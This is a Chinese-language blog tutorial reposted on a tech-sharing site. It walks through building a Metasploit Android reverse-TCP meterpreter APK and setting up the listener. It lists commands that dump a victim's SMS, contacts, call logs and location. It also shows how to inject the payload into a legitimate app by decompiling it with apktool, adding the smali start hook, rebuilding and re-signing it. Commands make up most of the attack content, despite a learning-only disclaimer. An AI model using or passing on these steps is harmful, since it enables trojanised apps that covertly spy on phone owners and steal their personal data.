ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

msf攻击android

2022-08-31 11:32:47  阅读:343  来源: 互联网

标签:keystore 反编译 文件 攻击 apk msf android meterpreter


msf攻击android[1]

1.msf生成android apk文件

  msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk
-p android/meterpreter/reverse_top : 表示从android设备返回一个反向连接的meterpreter通道;
R:直接输出(虽然android程序用java编写,但是不能使用-f java的形式生成);
.apk:最终输出为apk后缀的文件;


2.本地监听

msfconsole
msfdb run
workspace test
use /exploit/multi/handler
options
set payload android/meterpreter/reverse_tcp
set lhost 192.168.110.45
set lport 4455
run


3.手机模拟器安装apk文件,并启动


4.android的meterpreter介绍[2]

常用android指令

? 查看android meterpreter指令
check_root 检查设备是否为root
dump_calllog 获取通话记录
dump_contacts 获取通讯录
dump_sms 获取短信
geolocate 获取定位信息
send_sms 发送短信
wlan_geolocate 通过wlan信息获取定位信息
app_install 安装app
app_list 列出当前设备上安装的app
app_run 通过包名启动android应用
app_uninstall 卸载app


5.将msf payload注入已有的apk文件中

自动注入

msfvenom -x ./desktop/dark_mode.apk -p android/meterpreter/reverse_tcp lhost=<本机IP> lport=<端口> R -o msftest.apk
-x:将指定目录下的指定apk文件作为模板文件
-p: 设置payload
-o: 输出为apk文件

6.手工注入--将msf payload注入apk

apktool反编译

apktool d -f -r -o /usr/local/testdir/decodef dark_Mode.apk

d:[decode]反编译
-r: 避免resc的反编译,这样进行打包的时候就不会重新编译resc文件包括xml
-o: 反编译文件输出到当前/usr/local/testdir/decodef目录下

步骤
(1)反编译要注入的apk文件--com.chenai.eyes_5.5.3_liqucn.com.apk
(2)反编译msfvenom 生成的已注入payload的apk文件--msfand.apk
(3)将(2)中反编译出来的AndroidManifest.xml文件中的粘贴到(1)中的AndroidManifest.xml中(改变该apk应用的权限)
(4)拷贝payload:将(2)中反编译的文件smali/com目录下的文件拷贝到(1)中对应目录下
(5)执行payload:在apk程序入口Activity的oncreate()方法,添加以下脚本:

invoke-static{p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

可使用aapt查找apk包主程序入口,也可查看文件AndroidManifest.xml中的以下脚本的包名,其中com.chenai.eyen.act.MainDl即为主程序入口activity

 <activity android:configChanges="keyboardHidden|orientation" android:label="@string/ao" android:name="com.chenai.eyen.act.MainDl" android:theme="@style/e2">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>

(6)回编:

apktool b ./dark 
回编的文件在./dark/dist文件下

(7)生成签名要用的keystore文件(若安装了android studio则默认存在/root/android目录下)
keystore用于保存密钥对,比如公钥和私钥,用来在打包apl的时候对apk程序进行加密,也就是所谓的数字证书加密

keytool -genkey -v -keystore my-realease-key.keystore -alias alias -keyalg RSA -keysize 2048 -validity 10000
-alias :别名,每个keystore都关联这一个独一无二的alias,通常不区分大小写
-keystore: 指定密钥库的名称
-keyalg: 指定密钥的算法
-validity:指定创建证书的有效期
-keysize:指定生成密钥的长度
-v:显示密钥库中的证书详细信息

(8)jarsigner进行签名

jarsigner -verbose -keystore ./my-realease-key.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA ./dark/dark_Mode.apk alias

进行签名后的apk文件在dist目录下,覆盖掉原来的apk文件,进行签名是为了保证完整性,在apk文件安装时,系统会对其签名信息进行比对,判断程序的完整性,从而决定该apk文件是否可以安装,在一定程度上达到安全


  1. 仅供学习,维护网络安全;博主使用的是kali,脚本可根据自己本地环境修改 ↩︎

  2. 使用Android模拟器 ↩︎

标签:keystore,反编译,文件,攻击,apk,msf,android,meterpreter
来源: https://www.cnblogs.com/hongyeci/p/15919335.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有